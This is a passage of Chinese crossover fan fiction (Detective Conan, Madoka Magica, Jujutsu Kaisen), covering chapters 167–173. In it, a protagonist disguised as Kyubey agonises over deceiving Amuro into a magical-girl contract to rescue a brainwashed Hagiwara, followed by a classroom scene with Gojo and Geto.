一直忍耐了这么久，要不是到了已经无法坚持下去的地步，萩原研二也不会选择稍作缓解地回到组织。 如果他真的被困住的话，可能过不了太久，被洗脑的意识便会使他忍无可忍地选择自尽吧。 一个人真正想要死亡的话，谁都无法拦下他。 “相信我吧。” 萩原研二望着他，紫罗兰色的眼睛里此刻充满了坚定之色： “我有办法能够接触到他们关于洗脑的实验项目，从那里获得情报，找到破解的方法……这件事只能由我去。” 第167章 确实，这件事只能由萩原研二自己去。 伊江朔久也明白这一点。 组织这么多年来研究并开发了许许多多的实验项目。 其中关于洗脑催眠这一部分，组织最开始原本是非常重视的，但可惜需要投入的精力和花费太大了，实验的成功率却还不高、具有很大的偶然性。 而且，组织BOSS更重视的是延续生命那方面的研究，所以自然也就把这个给搁置下来了。 不过，组织里少数的某些人对此倒是很感兴趣。 即使得不到太多资金等方面的支持，也在努力推动这方面研究的进行。 而降谷零、诸伏景光等应该都很难接触到这种比较小众的研究项目，更难以参与进去得到切实的资料信息。 伊江朔久就更不用说了，他甚至一直在被组织警惕怀疑。 只有萩原研二是最合适的人选。 萩原研二作为罕见的成功了的实验体，估计不用再等多久，只要确认了他在组织的掌控之中后，就可能会被人时不时带去研究观测…… 可是，伊江朔久怎么能够看着这种事情发生。 伊江朔久望着萩原略显苍白的面容和坚定的目光，张了张口，声音却哑了下来：“……” 应该怎么劝阻对方呢？ 感觉就算是受到了洗脑的影响，对方本质上还是要比自己更无私良善得多…… 面对这样的对方，他怎么还能说得出来‘就直接将组织破灭吧，有伤亡也是无法避免的事，我们已经做得足够多了，这些不是我们的责任……’这种话呢。 萩原研二艰难地挤出一点笑容，说道： “而且，我还记得有其他受害者受到洗脑的控制，也不知道他们如今怎么样了，这样做也算是能够帮到他们吧。” 伊江朔久还是沉默着。 “好了，”萩原研二催促道：“我们在这里已经耗费了好一会儿时间了，我该去完成自己的任务了，免得被有的人察觉到异常。下次再见吧，小伊江。” 伊江朔久看着对方，也清楚对方是用了多大的毅力，才伪装得像以前那样、尽量自然地说出这些话。 他垂眸应道：“下次再见。” …… 虽然表面上是应下来了，但是伊江朔久不可能真的选择放手，将一切都压在萩原研二身上。 毕竟萩原研二能够顺利获取实验资料的可能性并不高。 对方之所以这么做，只是没有办法之下的破釜沉舟放手一搏而已。 伊江朔久又怎么可能心存侥幸、去赌那样的可能性呢。 ……可又该怎么办？ 还有什么更好的办法吗？ 【让萩原研二签订契约，直接许愿使组织原地破灭不就好了吗？】 骤然听到这样的话，伊江朔久一愣，看向声音出现的地方。 熟悉的白色小光球对他说道：【这不是最简单的方法吗？为什么还要费力思考纠结这么久呢？】 伊江朔久平复了下心情，冷静地在心里回复道：‘这样做的话，我不是把他从一个火坑拉到了另一个火坑吗？’ 成为魔法少女也不是一件好事。 系统提议道：【那么，让其他人来签订契约如何？】 伊江朔久静静看着它。 系统语气丝毫未变地继续解释道：【让降谷零或诸伏景光等人来签约不就可以了吗？只要你主动去找他们问，他们应该都是会愿意为了组织的灭亡做出一点牺牲的。】 这话说的很理智也很有道理。 不得不说，伊江朔久其实刚才也想到了这种办法。 可是……他淡淡地说：‘萩原不会希望我这么做的。’ 系统用温和的声音，包容似的耐心劝说道：【那不让他知道就好了。用丘比的身份找其他人签约，本来就不会使朔久你自己暴露嘛。】 伊江朔久：‘他不知道，并不等于我没有做。’ 【居然这么麻烦啊，我不太理解……】 系统用有点伤脑筋的语气道：【朔久，可是你不是早就这么做过了吗？你为了让萩原研二复活，才引着松田阵平签下了契约，不是吗？】 ……确实是这样。 种种晦涩汹涌的情绪在白发青年眼底一闪而过，他遏制住这些情感，装作被对方故意尝试着戳碰的旧伤根本不会痛一样。 说到底，做了就是做了。 即使他早就想好了后续该怎么解决，但也不能确定绝对万无一失，再精密的仪器也是有可能出现意外的。 就算告知他们一切真相、他们也大概率会选择答应，但是他还是不得不选择了谎言，用他最厌恶的诱骗手段引导他们签订契约。 系统还在问他：【既然已经不止一次地做过这种事情了，那再做一次也没什么关系吧？】 伊江朔久还没来得及回复它，就发现手机这时候碰巧来了安室透的消息。 他先打开和对方的对话栏。 安室透直接就问道：【萩原回到组织了？？？】 看来，他是刚刚才知道这个消息。 也难怪，安室透前段时间因为组织的事情出了趟国，一直在忙碌着别的事情。估计他现在回来了，才有空了解这些情况吧。 伊江朔久想了想，只是简单地回复道：【是的。】 安室透想不通地问：【为什么？他已经半脱离组织这么久了，突然回去根本得不到组织信任吧？这又有什么必要呢？】 安室透这些年来，和萩原研二相处的机会远没有松田和伊江的多。 他可能也发现了萩原的一些异常，但应该不会有松田和伊江发现得那么早，所以现在估计还需要一些点拨才能立刻想通吧。 伊江朔久默默地思考着。 ……要告诉对方吗？ 第168章 在伊江朔久犹豫的时候，系统见缝插针地出声道： 【将萩原研二的事情告诉他吧，然后当他为此苦恼的时候，以丘比的身份去找他签订契约。我觉得他大概率是会同意的。】 按照降谷零的性格，确实是会同意的。 而且，对方早就知晓了松田是魔法少女，所以还不需要多费口舌跟他解释，就能让他相信这些事情。 这的确是一件很方便轻松的解决方法。 伊江朔久非常清楚。 他曾经已经不止一次做过这种事情。按理说，直到现在才表现出一副愧疚退缩的样子，实在是太过于虚伪了…… 可是这两年来，和伏黑惠他们越是熟悉起来，伊江朔久越难以面对自己对他们的欺骗。 【你不打算这么做吗？】 看着伊江朔久始终没怎么松口的样子，系统不解地问道：【你是有更好的方法，还是准备……放弃萩原研二呢？】 伊江朔久心下一沉。 确实没有更好的方法了，但是，又怎么能够放弃萩原研二呢。 当年对方甚至都没有选择放弃过他…… 过往的记忆片段不由自主地在伊江朔久脑海里闪过。 昏暗的天空、实力超乎想象的特殊大型魔女、逐渐疲惫脱力的身躯、不断变黑的灵魂宝石、一颗又一颗被用完的悲叹之种…… 在与魔女战斗的过程中，当时还并没有那么强大的白发少女渐渐感到吃力。 她自知应该是无法战胜对方的。 更何况，她根本杀不了眼前的魔女，毕竟曾经她们也算是同伴，这让她在每一次被迫想下狠手的时候都会犹豫。 于是，时间这么一点点流逝之后。 在魔女某一次攻势下，她没能够躲过去且也无力抵挡，眼看着自己即将要死在这里了。 结果，眼前一道身影忽然闪过。 身穿紫罗兰色裙子的黑发少女挡在了白发少女面前，在她没反应过来之前，便替其接下了那道致命的攻击。 鲜血瞬间从对方巨大的创口处涌了出来，将其身上的衣物快速染红…… “榎原——” 白发少女连忙慌乱地接住对方倒下的身体。 看着无法止住血的伤势，白发少女短短失神了几秒，随后一边在自己身上快速搜找着，一边自言自语道：“悲叹之种，你需要悲叹之种……” 如果换做是其他人有了这样的伤势，估计早就已经立刻死掉了。 但魔法少女不同。 她们这种存在，只要灵魂宝石还好好的，就能够通过悲叹之种的不断续能而活下去。 可是，白发少女没有找到悲叹之种。 刚才的战斗已经消耗掉了她随身携带的所有悲叹之种，所以先前她才会陷入到那样差点死掉的险境中去，现在又怎么会有多余的悲叹之种来救面前的人。 这时，白发少女注意到旁边的动静，抬头看过去。 ——那个熟悉的红发魔法少女也来了，只是此刻对方来不及到她们旁边看看情况，而是先跟眼前的那只高危级别的魔女打了起来。 白发少女着急喊道：“有悲叹之种吗？！” 那个红发少女拿着一把比自己还高的巨剑，正在努力战斗着，闻言尽量分散了下注意力说着：“悲叹之种？我现在没带……” “真是的，这个混蛋！没想到变成魔女之后更能惹事了，早知道我就提前杀了这家伙……” 红发少女虽然说了这样的话，但还是没去想击杀掉这魔女之后、就能够获得其掉落的悲叹之种了。 甚至于她还忍不住低声道： “……真的没有让魔女重新恢复成魔法少女的办法吗？” 白发少女当然也很想知道让敌人重新变回她们同伴的方法。 但是现在情况紧急，她的眼里暂时只有面前少女身上逐渐蔓延开的血色。 对方的灵魂宝石没有充足的能量修复伤势，正在快速地被黑色覆盖中，这样下去是真的会死的…… 该怎么才能救下她？ “没关系，别难过了。” 濒死的少女艰难地开口，尽量让自己的语气听起来还像平常那样轻松。 但此刻明明快死的人是她，她为什么要这样来安慰别人？ “你不应该救我的，榎原……” 白发少女用手遮住了脸，声音却明显地在颤抖道：“你就不能别管我吗？自己明哲保身、好好地活下去不行吗？为什么……” 她有点说不出来话了，有什么东西梗在喉咙，让人发出的声音艰涩中又带着哭腔。 那个时候之前，伊江朔久一直都是尽可能抱着明哲保身的想法。 所以保持着疏离冷淡的态度，不怎么想和别的魔法少女接触，选择不告诉她们那些真相，不去阻止丘比找别人签订契约…… 既然做出了这样自保的选择，伊江朔久也做好了自己孤身一人的准备。 可是为什么…… 总有某些家伙爱多管闲事、还会做用自己的生命去换别人的生命这种吃亏的事情…… “对不起啊，小朔夜，我其实骗了你。” 对方虚弱地笑了笑，声音一点点弱下去：“我不叫榎原，我叫萩原研二，是一名警察。所以别自责了……作为警察，不管什么情况我都不可能放弃你的。” 伊江朔久此刻却没办法听下去。 她乞求似地说：“不要说话了，一定还有办法的，再坚持一下……” 伊江朔久不想再看着任何在乎的人以这种方式离开了。 不管是当初，还是现在…… 总能够找到办法的。 即使要付出怎样重要的代价也在所不惜。 手机接连不断地发出振动的轻微响声，显然是另一边某人因为等得太久，逐渐有些失去耐心了。 伊江朔久回过神来，低头去看安室透刚刚发来的消息。 安室透：【？？？】 【怎么不回消息？你还在吗？】 【伊江君？到底为什么萩原会回到组织？】 【你如果不知道具体情况的话，我就去问松田了？】 第169章 伊江朔久这次没再犹豫，主动将萩原研二如今的具体情况告诉给了安室透。 他说清楚了萩原的处境，解释了对方回到组织的想法，以及要从这研究项目里获取资料有多么困难…… 显然，萩原这么做最主要的还是为了不连累他们，故意与他们划清界限，希望他们将他当成敌人一样警惕。 而萩原研二却已经几乎算是放弃了自己。 他只是想在最后这段还未被组织彻底控制的时间里，尽力尝试一下最后能获救的方式而已。 说完了这些情况后，伊江朔久甚至假意问安室透： 【我们之前商量好的破灭组织的计划能提前进行吗？】 【如果可以这么做的话，我们就能接手组织的所有研究项目资料，也就有办法解决萩原的事情了。】 这样的问题使得安室透沉默了很久。 确实，这是能够让萩原得救的最好的办法。 但是…… 公安上层是绝对不会同意的。 他们不会因为萩原研二一个人而做出让步。一个人的性命怎么比得上多数人的性命和可预见的更多利益呢？ 甚至按照日本公安的作风，他们如果知道了萩原目前的真实情况，估计会为了安全起见，先想办法杀了萩原以绝后患吧。 安室透越是清楚地知道这些，越是感到痛苦。 但他也能够明白，公安的做法是有道理的。 就比如说，他其实也可以不动用公安的力量，和松田阵平、伊江朔久商量别的更快解决组织的方法。 以如今魔法少女的势力，解决掉组织不是什么太大的问题。只不过没有公安的帮忙，会造成更大的民众伤亡罢了。 可是，安室透却无法这么做。 自己重要的朋友的性命，和许多无辜的民众的性命……这该怎么选择？ 这是个两难的选项。 看着手机里很久没有发来新的消息，伊江朔久耐心地等待着，给对方留足纠结为难的时间。 先让安室透想清楚这件事，让对方陷入两难境地、找不到可行之法后，再找机会引出签订契约许愿的事，对方也就会更容易答应下来。 同时，伊江朔久也厌恶自己的这种做法。 ……果然他本质上还是自私的。 他会将自己重要的人排在最前面，那些人的地位胜过自己，也胜过别的许多和他陌不相识的人。 虽然认识接触了两年多的时间，他和安室透也算是普通朋友了。 可是面临这种情况，他还是为了更重要的人，而选择利用安室透。 就像两年前一样。 他需要有人签订契约，所以找上了姐姐出事的伏黑惠和渴望复活女儿的菲茨杰拉德；他想让萩原研二活过来，所以找上了松田阵平；他得解决掉两面宿傩这个危险因素，所以找上了虎杖悠仁…… 当时的伊江朔久和他们的关系大多都并不深。 一直在暗地里保护他们、提醒他们注意安全、帮忙提升他们的实力……这些只是因为心中的愧疚和自己的计划而已。 但作为共同进退的同伴相处了这么久，伊江朔久和他们的关系不可避免得越来越近，心底的愧疚也随之不断加深。 对了，太宰治在这些签约的人之中是不一样的。 伊江朔久忽然想起，他是希望太宰治找到生存的意义、能够好好活着，才选择主动找上对方的…… 虽然现在看起来，太宰治最近状态有些糟糕，对未来也并不抱有什么希望。 但那应该都是暂时的而已。 他早就计划好了不是吗？ 如果提前告诉他们魔法少女全部的真相，他们大多也都应该会同意当时的契约。 况且，他设定好的最终结局绝对不会是悲剧，未来是值得期盼的，在短暂的忍耐之后一定会获得幸福的。所有人都应该是这样的。 一定可以做到。 必须做到。 那么他现在所做的这些，或许就算不上是什么了。 另一边，安室透在纠结痛苦了许久之后，还是回复道： 【抱歉，公安绝对不可能同意将计划提前的。】 伊江朔久预料到了这样的答复，并不意外，却故意装作不赞同地发道：【那萩原怎么办？】 安室透又陷入了好一阵的无言之中。 伊江朔久慢慢引导话题：【就算不依靠公安，也可以有别的办法。松田可以用魔法少女的力量帮忙，完全能够解决掉组织。】 安室透也知道这一点。 但是，关键不在于能不能解决掉组织，而在于尽可能地将这过程中造成的伤亡压制到最小，阻止组织临死前的反扑和对无辜民众的报复。 只靠强大的实力，是无法处理好这些的。 安室透艰难地犹豫了许久，发道：【不能随意提前开始这个计划，萩原也不会同意……】 第170章 伊江朔久一边愧疚着，一边将系统刚才问他的问题也发给对方：【那该怎么办？你是有更好的方法，还是准备放弃萩原？】 这样的问题就像是一块沉甸甸的石头，压在了安室透心口。 他无法找到答案。 作为公安，他要履行自己的职责、一切以国家民众的利益健康为主。 而作为朋友，他无法就这样放弃萩原研二。 况且，萩原当初就类似于已经死过一次了，松田答应了宛如卖身一样的契约，才使得让其复活的愿望能够实现。 怎么能够看着萩原再一次死去，让松田做出的努力白费？ 怎样才能在这两难的处境中找到最优解…… 安室透想到了松田阵平，想到了当初对方透露给自己的魔法少女的秘密，忽地灵光一闪，想到了一个理论上存在的可能性。 现实中的很多事情都是难以周全的，不存在完美的解决办法，总有无法顾及到的地方。 但这个世界其实并不现实。 奇迹、魔法都是存在的。 只要愿意做出交换，真的会有故事里的神秘生物与之签订契约，将不可能的愿望化为现实…… 安室透恍惚了一阵，又很快清醒过来。 这又是另一件几乎不可能做到的事情了——找到另一个有天赋签约的人，让对方同意许下这种愿望。 这简直就像是在做一个异想天开的美梦。 …… ‘安室透，你拥有成为魔法少女的天赋呢，请问你愿意和我签订契约吗？’ 听到这个声音的时候，安室透还以为自己在做梦。 毕竟几个小时前，他刚刚想到了这种解决问题方法，又因为觉得太过荒谬而将其抛之脑后了。 没想到不久之后，一只长相奇怪又可爱的白色生物便主动找上了门…… 安室透盯着对方的红眼睛愣了一会儿，问道：“你是……丘比？” 白色生物点了点头：‘没错。’ 安室透早就从松田阵平那里听说过丘比的存在，甚至曾经也见过松田和空气相处交流的画面。 松田给他解释过，普通人是看不见丘比的，只有魔法少女才能与丘比交流，她们还能做到与丘比、与彼此在心里进行对话。 安室透不太能理解。 他先前没能看见丘比，难道不是证明他没有成为魔法少女的天赋吗？ 怎么两年多过去了，他又突然能看见了，而且丘比也是这时候才突然想起来找他签约…… 这未免也太赶巧了吧。 就好像丘比知道他现在处于纠结痛苦的两难境地一样，他明明不久之前才从伊江朔久那里得知萩原的事情，丘比是怎么知道这么快的？ 丘比看他有点愣神的样子，想了想，主动继续跟他介绍道： ‘如果你愿意签订契约的话，就可以实现自己的任意一个愿望。在成为魔法少女之后，你便要背负起与魔女战斗的使命……’ 这些事情安室透早就知道了。 听了没一会儿，他便打断了对方，忍不住问道：“你真的确定我有资格成为魔法少女吗？” 丘比仍挂着始终不变的笑容，耐心回复道：‘当然，这点是不会出错的。’ “那你为什么现在才来问我？你应该早就因为松田的缘故而见过我吧，那个时候你怎么不说？” 安室透狐疑地问道：“你是不是知道了什么，才选择现在过来找我？” 丘比面不改色地说：‘因为我感知到现在的你比以前更有天赋一些，这样才能保证你可以契约成功。’ 对于伊江朔久而言，说谎和编造理由不是一件难事，他有着足够的演技能让别人觉得他说的是真话，只要他愿意这么做。 安室透不解道：“天赋这种东西还能随着时间而改变？” ‘当然，魔法少女本身的强烈愿望也是很重要的，她们的愿望可以决定魔法的表现形式，也能影响魔法的强度。’ 丘比顿了顿，问他：‘你是有什么迫切想要实现的愿望吧？我能感知你的情绪有着剧烈波动。’ 安室透觉得这个解释也算合理。 不过…… 不管怎么想还是很奇怪啊，为什么丘比会找男性签约成为魔法少女呢？ “她们……”安室透念了一遍，语气古怪地问：“如果会找男性签约的话，是不是不应该将其称呼为魔法少女或是她们？” 丘比回答道：‘这种事情不重要，你可以将魔法少女只当作是一份职业而已，反正你们变身后都会成为少女的样子。’ 安室透：“……” 想想自己成为魔法少女的样子，就觉得那一定是很可怕的画面啊。 到时候，松田一定会狠狠嘲笑他的吧，就像这两年他总是没忍住对着性转的松田笑起来一样。 肯定会被报复回去的。 但是，即使再怎么觉得难为情，难以想象自己性转做魔法少女工作的样子，感觉本就忙碌的自己今后估计真的要进化掉睡眠模式了…… 安室透也还是很快接受了这些。 能将萩原解救出来，没有任何代价便轻松让组织彻底灭亡……作为交换只需要成为魔法少女而已，这完全是有利的交易。 安室透张口准备答应下来，不过他的手机这时候突然响了，亮起的屏幕上显示是松田给他打来了电话。 丘比迟疑片刻，还是说道：‘你先接电话吧。’ “好，请等一下。” 安室透应下后便接通了电话。 想到自己或许即将会成为松田新的魔法少女同伴，安室透就不免有点莫名心虚，将声音放得比较低： “松田，你找我有什么事吗？”【你现在阅读的是 】 170-180 第171章 电话那头的松田阵平疑惑道：“啊？不是你找我吗？你发给我的那些问题用简讯解释起来太麻烦了，我就给你打电话了。” 安室透顿时想起来了。 当时他发消息向伊江朔久问萩原的情况时，也同样给松田阵平发去了一些疑问。 但那时松田阵平没有及时回复，安室透听了伊江的话后又非常纠结，所以便就把没回消息的松田暂时抛之脑后了。 没想到过了好几个小时后，松田才看到消息来给他回了电话。 安室透顿了顿，说道：“你现在才回消息，我都差点忘了这事了，看来你还挺忙的。” “刚才在魔女结界里，所以手机没有什么信号，不过已经解决了。” 松田阵平简单解释了一句，然后直觉很敏锐地问道： “你是刚回国吧？所以才知道了萩原回到组织的信息……你这个反应是，已经从别人那里得到了关于萩原的信息吗？” 安室透应道：“伊江君跟我说过了。” 松田阵平沉默了片刻，说道：“看来我不用跟你解释了。那么，你是怎么觉得的？” “我……” 安室透看了眼旁边的丘比。 因为毕竟还没有和丘比正式签约，他还不确定自己的愿望真的能够实现，所以现在他有点不太想把这件事告诉松田阵平。 他选择含糊地说：“不能随便提前开始之前的破灭组织的计划，还没有准备好就直接开始行动的话，会造成很多伤亡的。” 松田阵平愣了一下，应道：“嗯，确实。” 安室透继续道：“但是也不能任由萩原一个人行动，他想只靠自己就从组织那里获得研究资料、找出摆脱洗脑的办法，几乎是一件不可能做到的事。” 松田阵平：“……？？” 目前只是猜到萩原受到洗脑影响的松田默默在心里打出了问号，他是错过了什么关键信息吗？ 这金发混蛋在自顾自说什么话呢？ 怎么一副默认他能够听得懂的态度，他真的需要对方好好解释一下啊。 安室透若有所指地道：“这件事非常棘手……要想达到两全的结果，可能只能另辟蹊径，用一些比较特殊的作弊般的办法了。” 松田阵平终于忍不住一字一句地道：“请先等等，你能给我解释一下你话里的含义吗？” 安室透愣了下：“什么？” 松田阵平道：“关于萩原的具体事情，他回组织到底是想一个人干什么？还有你说这些话是什么意思？” 安室透慢一拍地意识到，伊江朔久还没有把这些事告诉松田，他忽然感到有点心虚。 同时心虚的还有旁边以丘比身份出现的伊江朔久。 伊江朔久在看到松田打来电话时，就知道如果接通之后，安室透签约的事情大概率就不会那么顺利了。 但是短暂的犹豫过后，伊江朔久还是让对方先接了电话，决定这次更坦诚一点地对待他们，让他们在了解大致情况后再做出选择。 按照安室透的性格，最终还是会同意下来的吧…… 反正魔法少女的真相也掩盖不了多久了。 伊江朔久在心里无声地叹了口气，说道：‘你们应该还要再聊很久吧。既然如此，那么我就先离开了。’ 看着白色生物突然这么说、还摆出要走的架势，安室透下意识想要拦着它，赶忙开口道：“等等，丘比……” 电话那头的松田阵平：“？？？” 松田阵平就像忽然炸了毛一样，语速很快地问道：“什么？！丘比？它在你那里？这段时间一直没人找得到丘比的踪迹，怎么会出现在你那里？它是想干什么……” 能听得出来，松田阵平有很多问题迫切想得到解答。 丘比温声对安室透道：‘放心，我还会再回来找你的。在此之前，你可以先和松田好好谈一谈，仔细思考过后再做出决定。” 安室透一边听着电话那头松田的声音，一边听着丘比的声音……总感觉他们的态度都很奇怪。 他们是发生过什么矛盾吗？貌似也不太像。 不过，认真思考清楚再做决定……这确实不是一件坏事。 于是，这么想着的安室透便没再阻拦丘比离开。看着对方从窗口跳出去之后，他再去回复电话那边有些着急的松田阵平，犹豫地说道： “丘比刚才确实在我这里，它……是来询问我签约意向的。” …… 安室透和松田阵平后面都交谈了哪些事情，伊江朔久没办法亲耳听到，不过也能猜得差不多。 这次他们应该会好好地沟通一下彼此获得的情报了。 为了后续不遭到松田阵平的诘问，伊江朔久便很快编辑了简讯，把萩原的大致情况发给了对方，并隐晦地解释自己刚得到这些消息没多久。 松田阵平大概不会对伊江朔久生气。 但是，对丘比和朔夜就不一定了…… 伊江朔久手不自觉地摩挲着自己的灵魂宝石，心底布满了阴云，压抑又苦涩。 他无奈地想着，或许真的快到了该揭晓真相的那一天。 事到如今，丘比和朔夜没办法再躲他们多久，也就已经没办法再隐瞒他们多久，这意味着两年多来努力维持的平静终于还是要打破了。 那么，自己也该清醒过来，不能再沉溺于虚假的美好之中了。 ……也该开始推进计划的最终阶段了。 乍一眼看上去几乎接近黑色的灵魂宝石，某刻忽地稍微亮了那么一丝，随即又很快暗淡下来，其中夹杂着的那抹青色又不知不觉地被黑色覆盖了几分…… 第172章 午后的阳光透过窗户洒进教室里。 温暖却并不灼热的温度，粉笔灰和木质的古朴气息，以及老师讲述着咒术界枯燥历史时的声音……都很容易令人感到昏昏欲睡。 如果换做是平时，在这种氛围下听着这样的水课，钉崎野蔷薇已经无聊得快睡着了。 但是今天却不同。 因为今天来授课的可不是往常那个讲课刻板无聊的老师，而是一个非常有名气的新老师——夏油杰。 听说，这位新老师是罕见的特级咒术师，是五条老师的挚友，曾经还当过诅咒师、被咒术高专放逐过…… 很久之前，钉崎野蔷薇就曾听过对方的名字和事迹。 那时候以为对方是走上了歪路的极恶诅咒师，她还有点担心地想过，或许今后他们有可能会跟这个危险的敌人对上。 没想到如今五条老师逐渐彻底掌握咒术界之后，夏油杰居然回来了，重新站到了五条老师身边。 然后关于他的传闻四起，有说他之前是一直潜伏在诅咒师阵营、暗地传达信息，全都是为了咒术界的未来，也有说他当初是真的叛逃了、是被五条悟打动才选择回来的…… 这些听起来倒是蛮离奇的，但总之没有一个确切的说法能够被证实。 这令钉崎野蔷薇非常好奇。 好不容易等到今天这位新老师的第一节课，她比往日上课时听得可要认真多了。 她还以为自己的两个同学也和她是同样的心情。 可是，没想到…… 钉崎野蔷薇微微侧过头，忍不住关注着自己的另外两名同学。 伏黑惠和虎杖悠仁此时都低着头，将注意力放在藏在课桌下的手机上，双手在屏幕上滑动或打字，显然在秘密交谈些什么。 知道他们两个一直比较忙碌，和那些魔法少女有着很大的关系，所以总帮她们的忙。 但是！ 面前这个老师是夏油杰啊！ 对方是曾经很有名气的特级诅咒师、盘星教教主，而且五条老师说，这是他的挚友啊！ 伏黑和虎杖难道不好奇吗？ 居然敢在对方的第一节课上偷偷用手机聊天、还不带她一起，胆子未免也太大了点吧？！！ 而伏黑惠和虎杖悠仁最近忙着探寻签订契约背后的真相，只关注着要找丘比和朔夜的踪迹，每天早出晚归、经常翘课。 对于近期在咒术界里很火的关于夏油杰的那些传言，他们几乎都没怎么了解。 虎杖悠仁用手机私聊发道：【我刚才在网站里，看见有人拍到朔夜前两天外出的照片了。】 伏黑惠回复：【也正常，她虽然一直躲着我们，但也不至于不会去处理自己区域出现的魔女。】 虎杖悠仁：【那我们下次提前关注她负责的区域，或许就有机会拦到她了？】 伏黑惠：【没那么简单，她每次解决魔女的速度都很快。等我们收到消息再赶过去，估计她早就已经解决完离开了吧。】 虎杖悠仁有点失望。 说的也是。 现在她们魔法少女和国家官方合作，官方帮助她们成立了专门的部门，负责结合魔法少女网站上的信息统计魔女情报，还有接听民众的求助电话、甄别情况。 五条悟也提供了帮助，将这个部门打造成了很专业的、类似于咒术界“窗”这种的存在。 这个部门会根据每个魔法少女负责的不同区域，而向她们分别传达不同的信息，为她们提高一些帮助。 所以说，朔夜肯定会比其他魔法少女更早拿到自己所负责地区的情报，再加上对方那多半秒杀魔女的超高效率来看…… 估计只有掌握瞬移的津岛能够拦得下朔夜吧。 可惜，津岛根本不愿意配合她们去找朔夜。 虎杖悠仁默默叹了口气。 随着时间的流逝，他越来越担心，有种莫名的直觉让他觉得魔法少女背后大概隐藏着重要的秘密。 要是再发生一次上回莫名其妙突然晕倒的事情，可能就不会再那么幸运了，拥有那种突发性缺陷，很可能会在与魔女的战斗中死掉。 伏黑惠问道：【对了，你这段时间身体还好吗？没再出什么事情吧？】 虎杖悠仁：【完全没事……感觉和之前一样。】 虎杖悠仁犹豫了一下，然后打字道：【伏黑，你觉得朔夜和丘比隐藏的秘密是什么？】 刚发出这句话，他就感觉到背后一凉。 虎杖悠仁下意识转头望了望，没看到背后有什么人。 他将视野转向了伏黑惠，却看见对方露出了怪异的表情，很是小心翼翼地对自己做了个往后看的手势…… 虎杖悠仁感到不妙，缓缓地、缓缓地将头慢慢挪过去。 果然，一旁的窗边站了个熟悉的白发青年，一只手揭开了自己戴着的黑色眼罩，露出了令人惊艳的苍天之瞳。 但此刻，虎杖悠仁只觉得对方这个样子很可怕。 他结巴地道：“五、五条老师……” 果然，五条悟看见了他刚才打的那些字，笑嘻嘻地跟他打招呼：“嗨，悠仁~你们在聊什么啊？……朔夜和丘比的秘密是什么？丘比是谁？” 糟糕…… 虎杖悠仁和伏黑惠的脸色都有点僵硬。 还好，讲台上被忽视的梳半丸子头的黑发新老师出声了，无奈地对着五条悟提醒道：“悟，我还在上课呢，有什么事待会儿再讲吧。” 结果话音刚落下，下课的提示铃却不给面子地响了。 “喏，现在下课了。” 五条悟一边笑着说，一边直接从窗外走进了教室：“我就是看快要下课了，所以过来瞧瞧你第一节课上得怎么样。” 第173章 五条悟对夏油杰调侃道：“杰，看来你讲的课很无趣哦。” 上课不认真听课、偷偷做小动作的两人心虚又愧疚地低下了头。 虎杖悠仁先开口道：“抱歉，我、我们……” 他很艰难地在想自己此刻该说些什么，但是脑子里一团乱麻，全想的是五条老师是什么时候站在那里的，应该没看见多少东西吧…… 不过，夏油杰却替他们说话道：“很正常，这种无聊又枯燥的课我也不想上，我们当年不也经常不听这种水课嘛。下次还是给我安排实战训练课吧。” 五条悟一口应下：“没问题。” 钉崎野蔷薇嘴角一抽。 虽然没上过这位新老师的实战课，但是他们上过五条老师的这种课…… 回想起来，简直不提也罢，完全是凄惨的被碾压局。 这位夏油老师听说是特级术师、还是五条老师的挚友……那么想来，两位老师的实战训练带给他们的感觉或许应该相差不大。 这就很糟糕了啊…… “对了，悠仁。” 五条悟将目光又转回虎杖悠仁身上，很是好奇地提醒道：“你还没回答我刚才的问题呢，朔夜和丘比的秘密是什么？” 虎杖悠仁的心又立即提了起来。 伏黑惠勉强更镇定一些，替他回答道：“我们也不知道，所以刚才在猜测……丘比是朔夜的朋友，她们两个最近看起来比较奇怪，我们觉得她们可能隐藏了什么秘密。” 伏黑惠瞎编了这样的话，就是在赌五条悟没有看到更多的信息。 他将不安的情绪压下去，故作从容地对上五条悟的目光。 幸好，五条悟确实只看到了那么一两句话。 五条悟问道：“这样啊，丘比这名字听起来还挺特别的。是新的魔法少女吗？” 伏黑惠：“……不是。” 钉崎野蔷薇也提起了好奇心，道：“奇怪是哪种奇怪？具体发生什么事了？” “就是……不怎么搭理其他魔法少女，可能是闹了什么矛盾吧，我也不清楚。” 伏黑惠含糊地说道，一副不想多说的样子。 钉崎野蔷薇对他这个样子很是熟悉。 一谈到和魔法少女相关的某些事情，伏黑和虎杖就总是这副模样，感觉隐藏着很大的秘密似的。 五条悟像是想起了什么，忽然说道： “上这种课不听确实也没什么关系，考试前恶补一下也能过……但是，如果咒术师等级不能提升的话，会影响到毕业后的未来哦。” 谈到这个话题，教室里的人几乎都沉默下来。 其中虎杖悠仁的神色最糟糕，抿着嘴一言不发。 其他人大多都清楚，在当初寄宿于虎杖体内的两面宿傩莫名其妙地彻底死去之后，虎杖悠仁的咒力水平便一直在慢慢后退。 再加上，对方似乎是因为魔法少女的缘故非常忙碌。 虽然他本身还是很勤奋的、一有空就在努力训练提升自己，但却没办法将全部的心神都放在锻炼咒术上，所以导致两年多来，他的咒术师等级不升反降。 按照这样的趋势下去…… 等到毕业之后，虎杖悠仁恐怕就没办法和他的另外两个同学一起成为优秀的咒术师了，说不定他最后只能当一名辅助监督。 沉默很久，虎杖悠仁丧气地出声道：“五条老师，对不起。” “跟我说什么对不起，只要你想清楚了自己的选择，不当咒术师也没什么关系。” 五条悟的语气一如既往，就好像这不是多么重要的事情一般。 旁边听着的伏黑惠心情却也非常糟糕，没比虎杖悠仁本人要好多少。 因为…… 当初是他帮丘比劝说虎杖成为魔法少女的。 那个时候，伏黑惠还想着，如果虎杖也能成为魔法少女了，那他就多了一个知根知底的同伴，平常还可以互相帮忙、给彼此打掩护。 可是却没有想到，这会导致虎杖悠仁做不了咒术师。 悠衣成为了魔法少女的同伴，虎杖悠仁却无法再做咒术师的同伴……从某种方面来看，还真是公平过头了。 作为推动这个结果发生的人，伏黑惠无法不感到愧疚后悔。 尤其是……在不久前，他听说了灵魂宝石离体的悠衣有莫名晕倒的经历，朔夜和丘比又不愿意说出情况而一直躲着她们，随即意识到魔法少女背后可能隐藏着什么重要秘密之后。 要是真相非常糟糕的话，伏黑惠就真的不知道该怎么面对被自己拉进泥潭的虎杖悠仁了。 五条悟见氛围似乎有点凝重，想要活跃气氛道： “帮助魔法少女工作其实也挺不错的啦，我一直都很想试试。而且与魔女战斗和与咒灵战斗也没什么区别，都是和丑陋的怪物战斗、保护民众的工作……她们会付给你们工资吧？” 虎杖悠仁闷闷地点了点垂着的头。 